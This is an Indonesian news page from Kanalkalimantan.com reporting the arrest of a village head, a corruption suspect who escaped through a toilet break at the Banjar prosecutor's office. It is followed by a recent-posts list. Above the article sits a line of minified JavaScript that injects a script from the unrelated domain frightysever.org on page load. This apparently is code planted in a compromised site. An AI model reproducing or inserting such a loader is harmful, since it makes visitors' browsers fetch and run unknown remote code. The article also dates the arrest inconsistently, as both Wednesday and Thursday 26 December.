(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu


KANALKALIMANTAN.COM, MARTAPURA – Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45) yang kabur saat diperiksa berhasil ditangkap tim gabungan Polres Banjar.

Penangkapan dikonfirmasi Kapolres Banjar AKBP M Ifan Hariyat yang dilakukan pada Rabu (26/12/2024).

Dalam keterangan polisi, Kades P ditangkap di tempat persembunyian di Desa Bersujud, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu (Tanbu) setelah 22 hari masa pelarian.

Selain menangkap tersangka, petugas mengamankan satu unit sepeda motor Yamaha Mio warna merah yang digunakan oleh P.

Baca juga: Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

Dijelaskan penangkapan berawal saat tim gabungan yang terdiri dari Unit Resmob Subdit 3 Ditreskrimum Polda Kalsel, Unit Resmob Polres Banjar, Unit Kamneg Sat Intelkam Polres Banjar, Sat Intelkam Polres Tanah Bumbu, dan Unit Resmob Polres Tanah Bumbu, menerima informasi bahwa P terlihat di wilayah Tanbu.

Polisi bergerak ke lokasi untuk melakukan penyelidikan. Penyisiran dilakukan di sekitar Desa Bersujud pada Rabu (25/12/2024), namun tersangka P tidak ditemukan.

Sehari setelahnya, Kamis (26/12/2024) sekitar pukul 15.00 Wita, polisi kembali menerima informasi bahwa P berada di sebuah langgar di Desa Bersujud.

“Tim gabungan langsung bergerak menuju lokasi dan berhasil mengamankan tersangka tanpa perlawanan,” kata AKBP M Ifan Hariyat.

Baca juga: Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Lebih lanjut Kapolres Banjar mengatakan, setelah berhasil dibekuk, tim penyidik kemudian melaksanakan pengiriman tersangka P dan barang bukti atau Tahap II kepada Jaksa Penuntut Umum (JPU) Kejaksaan Negeri (Kejari) Banjar pada Jumat, (27/12/2024) sekitar pukul 14.00 Wita.

Barang bukti terkait dugaan tindak pidana korupsi yang diserahkan bersama tersangka mencakup dokumen-dokumen dan alat bukti lain yang terkait dalam kasus dugaan korupsi ini.

“Pengiriman ini dilakukan dalam rangka proses hukum atas perkara dugaan tindak pidana korupsi berupa pungutan liar yang dilakukan oleh aparat pemerintahan Desa Sungai Alat, Kecamatan Astambul, Kabupaten Banjar, dalam kurun waktu 2021 hingga 2024,” jelasnya.

Tersangka P diduga melanggar pasal 12 huruf e Undang-Undang Republik Indonesia Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

“Ini menjadi bukti komitmen aparat penegak hukum dalam menangani kasus hukum secara tegas dan profesional. Tersangka kini akan menghadapi proses hukum sesuai dengan undang-undang yang berlaku,” pungkasnya.

Diketahui, P sebelumnya kabur ketika dilakukan proses tahap II di Kejari Banjar pada 4 Desember 2024 lalu, setelah penyidik Unit Tipikor Polres Banjar menganggap perkaranya lengkap atau P-21.

P yang merupakan tersangka kasus dugaan pungli dan korupsi di Desa Sungai Alat ini memanfaatkan kesempatan melarikan diri saat izin ke toilet di kantor Kejari Banjar.
(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

15 jam ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

1 hari ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

1 hari ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

1 hari ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

2 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.